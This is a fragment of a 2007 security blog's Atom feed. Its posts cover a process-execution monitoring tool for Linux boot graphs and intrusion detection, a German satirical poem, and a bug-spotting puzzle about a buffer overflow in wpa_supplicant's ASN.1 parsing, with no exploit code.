width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-457096136273324360?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/457096136273324360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=457096136273324360' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/457096136273324360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/457096136273324360'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2008/01/happy-new-year.html' title='Happy new year!'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-762885137108398358</id><published>2007-11-26T01:11:00.000-08:00</published><updated>2007-11-26T01:33:31.792-08:00</updated><title type='text'>boot graphs</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DbsW_SGQJgI/R0qO27xtUZI/AAAAAAAAACE/EvZkwZYTATc/s1600-h/boot.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_DbsW_SGQJgI/R0qO27xtUZI/AAAAAAAAACE/EvZkwZYTATc/s400/boot.jpg" alt="" id="BLOGGER_PHOTO_ID_5137075399379734930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The &lt;a href="http://www.suse.de/%7Ekrahmer/exec-notify.c"&gt;exec-notify&lt;/a&gt; program can be used together with the &lt;a href="http://www.suse.de/%7Ekrahmer/exec2dot.pl"&gt;exec2dot&lt;/a&gt; script to generate program&lt;br /&gt;calling graphs from booting or something like a KDE startup. Especially the boot process from a laptop&lt;br /&gt;looks very interesting.&lt;br /&gt;Sample graphs may be found &lt;a href="http://www.suse.de/%7Ekrahmer/10.3-boot.pdf"&gt;here&lt;/a&gt; and &lt;a href="http://www.suse.de/%7Ekrahmer/kde-startup2.pdf"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.suse.de/%7Ekrahmer/exec-notify.c"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-762885137108398358?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/762885137108398358/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=762885137108398358' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/762885137108398358'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/762885137108398358'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2007/11/boot-graphs.html' title='boot graphs'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DbsW_SGQJgI/R0qO27xtUZI/AAAAAAAAACE/EvZkwZYTATc/s72-c/boot.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6930850189865588827</id><published>2007-11-21T05:10:00.000-08:00</published><updated>2007-11-21T07:14:07.414-08:00</updated><title type='text'>satire II</title><content type='html'>Sorry, the following is only in german due to my limited native language skills :-)&lt;br /&gt;&lt;br /&gt;Ich sass neulich in der S-Bahn auf dem Weg zum recurity-labs summit, um&lt;br /&gt;ein paar Freunde wiederzutreffen. In der S-Bahn um mich herum lauter wirklich tolle Leute mit viel&lt;br /&gt;Ahnung ueber Web 2.0, flat-rate-preise und natuerlich - BLOGS!&lt;br /&gt;Dazu die Jungs mit den haengenden Hosen und dieser komischen Musik&lt;br /&gt;(ey, alter - das ging so: uz, uz, uzz. Nee, warte... uzzzzz,uz,uz!) Man lese mehr dazu &lt;a href="http://stophiphop.de/"&gt;hier.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Da kam mir die Idee, unsere heutige Welt in einem kleinen Gedicht zusammenzufassen.&lt;br /&gt;Den verantwortlichen Rapper fuer den Originalsong werden die Meisten sicher leidlich kennen,&lt;br /&gt;auch wenn er einem im Radio mittlerweile seltener aufgenoetigt wird.&lt;br /&gt;Wer wirklich gute Musik mag, vertieft sich natuerlich in die Gitarre von &lt;a href="http://youtube.com/watch?v=DFYKZjLD_S4"&gt;Mark Tremonti&lt;/a&gt;&lt;a href="http://youtube.com/watch?v=DFYKZjLD_S4"&gt;.&lt;/a&gt;&lt;br /&gt;:-&gt;&lt;br /&gt;&lt;br /&gt;genug geschwafelt:&lt;br /&gt;&lt;br /&gt;Mein blog!&lt;br /&gt;---------------&lt;br /&gt;&lt;br /&gt;ich habe nichts zu sagen&lt;br /&gt;und das kann ich nicht ertragen,&lt;br /&gt;darum schreib ich das in - mein' blog!&lt;br /&gt;&lt;br /&gt;ich gehe noch zur schule,&lt;br /&gt;ich find das alles voll schwul hier,&lt;br /&gt;das schreibe ich in - mein' blog!&lt;br /&gt;&lt;br /&gt;besser gesagt geh' ich in die achte,&lt;br /&gt;genau wie die bei der ich immer uebernachte,&lt;br /&gt;wies war schreib ich in - mein' blog!&lt;br /&gt;&lt;br /&gt;der typ aus der fuenften,&lt;br /&gt;tut mich immer beschimpfen,&lt;br /&gt;das schreibe ich in - mein' blog!&lt;br /&gt;&lt;br /&gt;wenn ich gross bin werd ich politiker,&lt;br /&gt;oder vielleicht auch filmkritiker,&lt;br /&gt;wofuer ich mich entscheide, kommt in - mein' blog!&lt;br /&gt;&lt;br /&gt;ich habe weder hefter noch anstand,&lt;br /&gt;und beim tanzen mach ich handstand&lt;br /&gt;ich habe nur - nen block!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6930850189865588827?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6930850189865588827/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6930850189865588827' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6930850189865588827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6930850189865588827'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2007/11/satire-ii.html' title='satire II'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8738618623736698525</id><published>2007-11-20T05:41:00.000-08:00</published><updated>2007-11-21T07:16:48.775-08:00</updated><title type='text'>Eyes on Exec reloaded</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DbsW_SGQJgI/R0Lm47xtUYI/AAAAAAAAAB8/6RpKiLSGsxs/s1600-h/man.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_DbsW_SGQJgI/R0Lm47xtUYI/AAAAAAAAAB8/6RpKiLSGsxs/s400/man.jpg" alt="" id="BLOGGER_PHOTO_ID_5134920390949032322" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;10 years ago or so, I wrote a tool called "Eyes on Exec" (EoE) which was a kernel module for the 2.0, 2.2 and 2.4 Kernel.&lt;br /&gt;It created a device &lt;span style="font-style: italic;"&gt;/dev/exec &lt;/span&gt;from which one could read all the commands executed recently&lt;br /&gt;including callers PID, EUID etc. Some simple hostbased IDS used this input to ensure that e.g.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;pop3d &lt;/span&gt;never executed anything. It worked very well. Additionally, code reviewers (myself :)&lt;br /&gt;found it usefull since you easily see if some daemons/applications execute shell programs&lt;br /&gt;in a way that is not obvious to the auditor due to weird library calls. The famous &lt;span style="font-style: italic;"&gt;modprobe&lt;/span&gt; bug&lt;br /&gt;which used &lt;span style="font-style: italic;"&gt;ping &lt;/span&gt;as a trigger was found by me with the help of EoE (google for &lt;span style="font-weight: bold;"&gt;rootprobe exploit&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;2.2 times are gone, but the new 2.6 Kernel has a nice API called proc connector which allows&lt;br /&gt;to register for certain events such as fork/exec etc. into the proc FS. One is then notified&lt;br /&gt;whenever the questioned event arrives. Ever wanted to know what &lt;span style="font-style: italic;"&gt;man&lt;/span&gt; really executes or how&lt;br /&gt;&lt;span style="font-style: italic;"&gt;acroread&lt;/span&gt; is handling mail sent from within a PDF? :-) Jump towards &lt;a href="http://www.suse.de/%7Ekrahmer/exec-notify.c"&gt;here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8738618623736698525?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8738618623736698525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8738618623736698525' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8738618623736698525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8738618623736698525'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2007/11/eyes-on-exec-reloaded.html' title='Eyes on Exec reloaded'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_DbsW_SGQJgI/R0Lm47xtUYI/AAAAAAAAAB8/6RpKiLSGsxs/s72-c/man.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-711481345983240283</id><published>2007-10-30T05:59:00.000-07:00</published><updated>2007-10-30T06:07:24.929-07:00</updated><title type='text'>Puzzle solved</title><content type='html'>Of course you all found the bug I was talking about after I uploaded the correct&lt;br /&gt;screenshot! ;-) Bash me. You even found minor other issues which should however&lt;br /&gt;not be exploitable.&lt;br /&gt;Nevertheless, &lt;a href="http://hostap.epitest.fi/wpa_supplicant/"&gt;wpa_supplicant&lt;/a&gt; has got an excellent code structure which is fun to review.&lt;br /&gt;If you ever want to learn how to write your own TLSv1 implementation, have a look at their code.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-711481345983240283?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/711481345983240283/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=711481345983240283' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/711481345983240283'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/711481345983240283'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2007/10/puzzle-solved.html' title='Puzzle solved'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7072851884889220953</id><published>2007-10-23T06:30:00.001-07:00</published><updated>2007-10-28T03:40:57.733-07:00</updated><title type='text'>Spot the fed^H^H^Hbug</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DbsW_SGQJgI/RyRjFQoHiBI/AAAAAAAAAB0/jhIu4tVKUfA/s1600-h/asn1.bug.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_DbsW_SGQJgI/RyRjFQoHiBI/AAAAAAAAAB0/jhIu4tVKUfA/s400/asn1.bug.jpg" alt="" id="BLOGGER_PHOTO_ID_5126331217868195858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is an interesting bug within wpa_supplicant's ASN.1 parsing. Usually, it uses the OpenSSL&lt;br /&gt;libraray to obtain and parse the X509 certificates. However, it can be compiled to use built-in&lt;br /&gt;X509 e.g. ASN.1 parsing routines to do so. Nearly all X509 functions use&lt;br /&gt;asn1_get_next(). There is a buffer overflow condition within this function. Found it?&lt;br /&gt;Make a comment!&lt;br /&gt;&lt;br /&gt;P.S. Our packages do not use the vulnerable parsing code.&lt;br /&gt;&lt;br /&gt;P.P.S. Puzzle-solving coming soon :-)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7072851884889220953?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7072851884889220953/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7072851884889220953' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7072851884889220953'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7072851884889220953'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2007/10/spot-fedhhhbug.html' title='Spot the fed^H^H^Hbug'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DbsW_SGQJgI/RyRjFQoHiBI/AAAAAAAAAB0/jhIu4tVKUfA/s72-c/asn1.bug.jpg' height='72' width='72'/><thr:total>5</thr:total></entry></feed>
